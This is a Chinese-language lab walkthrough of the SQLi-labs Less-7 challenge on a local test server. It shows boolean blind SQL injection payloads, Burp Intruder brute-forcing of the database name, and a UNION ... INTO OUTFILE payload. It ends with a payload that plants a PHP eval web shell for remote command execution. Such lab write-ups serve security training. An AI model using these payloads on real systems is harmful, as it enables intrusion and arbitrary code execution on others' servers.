sqlmaster第七关Less-7
测试IP:http://192.168.64.131 目录:/sqlmaster/Less-7/
不带参数请求页面:
可以看到,页面让我们输入id,我们输入一个?id=1
作为参数:
可以看到给出了正常的数据。
我们再输入一个不存在的id参数?id=999
:
可以看到页面给出SQL语句语法错误。
开始测试
首先我们来一个“'”
注入:
发现页面提示SQL语句语法错误,说明这里报错了,但没有给出具体的报错信息。那么我们大致可以推测,该页面只会返回正确信息与SQL语句语法错误信息。那么说明这一关不能使用报错注入。
那我们接着尝试猜解SQL语句
键入:?id=1' --+
发现SQL语句还是存在语法报错。这说明这里不是id='1'
这样的SQL语句,那么我们尝试加“)”
看看:
多尝试几次,我们发现竟然需要加双层的小括号,hh。。。
这里插入一下:
如果一个用户频繁的企图对一个网址进行sql注入,该网站可能会通过在Web服务器或应用程序中的防火墙来实现IP封锁,导致该用户不能连接该网站,未经授权的渗透测试是违法行为!
这时候,我们大致可以判断该SQL语句因该是id=(('1'))
。那就算这样我们又该如何进行有效的注入呢?
这个时候,我们采用Boolean注入[布尔注入]
也称布尔盲注
键入:?id=1')) and substr(database(),1,1)='[str]' --+
[str]为任意字符:
多次尝试,发现当前数据库的第一个字符是“s”,我相信如果我们把这8个长度的数据库名一直这样猜下去,那么下一个字符一定就是“b”。。。
这里,我们使用burp来爆破数据,当然也可以自行编写脚本来爆破:
1.在浏览器中使用代理
点击设置
2.在burp的代理options选项中配置代理
返回intercept界面,对数据包进行拦截
- 开启
3.在浏览器中输入构造的注入url
4.返回burp,可以看到拦截的请求
此时我们鼠标右键点击:send to intruder,再选择intruder
我们首先单击:clear $来清除变量,然后选中我们需要依次改造注入的字符,然后单击:add $来添加变量,可以看到字符s被dollar符包装:
5.选择payload来设置有效攻击载荷
6.按照自身要求依次设置好payload之后,我们直接点击start attack来开始爆破攻击
我们依次查看爆破的response响应发现,再爆破到字符s时,页面给出了正确的信息:
当然,我们没必要依次查看response响应,我们直接设置过滤:
输入完筛选字符,单机apply:
之后7个字符的的爆破只需修改substr(database(),1,1)
的第二个参数即可,可以得到数据库的名字是security
。
当我们传入id的时候我们观察一下页面回显的的数据内容可以发现:You are in.... Use outfile......
告诉我们使用outfile
。
基础知识:
在MySQL中,outfile可以用来输出一个文件。但是想要执行这样的操作,就必须要开启文件写入的权限。
我们可以执行:show variables like '%secure%';
来查看:
可以看到,secure_file_priv
的value值是NULL,那么这代表此时文件写入的权限是关闭的,那我们需要写入输出文件的保存路径来开启它。
首先,我们来到MySQL的根目录下,会看到一个my.ini的文件。
my.ini文件是MySQL数据库服务器和客户端程序的配置文件,它可以用于设置MySQL的基本运行参数、安全性、缓存、日志记录等方面的参数。
打开my.ini文件,添加secure_file_priv
以及他所对应的参数:
注意:路径的斜杠需要采用//需要多加一个斜杠来转义字符,其次,因为C盘的权限问题,请不要把路径写到C盘上。【开始我没有注意这一点导致sql语句一直报错,很头疼】
之后我们重启MySQL服务:
重复刚才的sql语句来查看是否修改成功:
可以看到,目录已经写入到:secure_file_priv
。
那这个时候,我们就可以执行outfile
来输出文件到F盘的任意位置了。
回到主题,因为页面让我们使用outfile
来上传文件,那我们怎么上传呢?
键入:
?id=-1')) union select version(),database(),user() into outfile "F:\\PHPstudy\\PHPTutorial\\WWW\\sqlmaster\\Less-7\\1.txt" --+
此时我们在浏览器中访问1.txt看看效果:
可以看到我们想要的一切信息。
- 到这里,也就算我们注入成功了,第七关通过
扩展:通过上传一句话木马实现远程任意命令执行
键入以下注入语句来上传一句话木马:
?id=-1')) union select "","",concat('<?php echo "<pre>"; ','@eval($_GET[cmd]);','echo "</pre>"; ?>') into outfile "F:\\PHPstudy\\PHPTutorial\\WWW\\sqlmaster\\Less-7\\ma.php" --+
尝试访问改木马,可以看到没有任何的信息输出,这是因为我们还没有传入参数:
我们尝试传入参数来获取当前目录文件:
获取index.php的文件内容:
通过获取网页源代码来查看php代码,我们可以发现sql语句的全部写法:
查看当前web服务器的网络信息:
分析上传一句话木马:
首先,我们使用MySQL自带的concat()函数来拼接一句话木马的代码,它大致的内容是:
输出一对HTML的<pre>标签,来格式化文本。
其次就是使用PHP中的eval函数来达到执行任意命令的效果,执行的命令就是用户发送get请求时的参数cmd。
【cmd中传入的参数命令也需要加“;”】
@的作用就是不输出eval()导致的报错。
当然,我们也可以使用中国菜刀
来连接一句话木马,这里就不一一介绍了。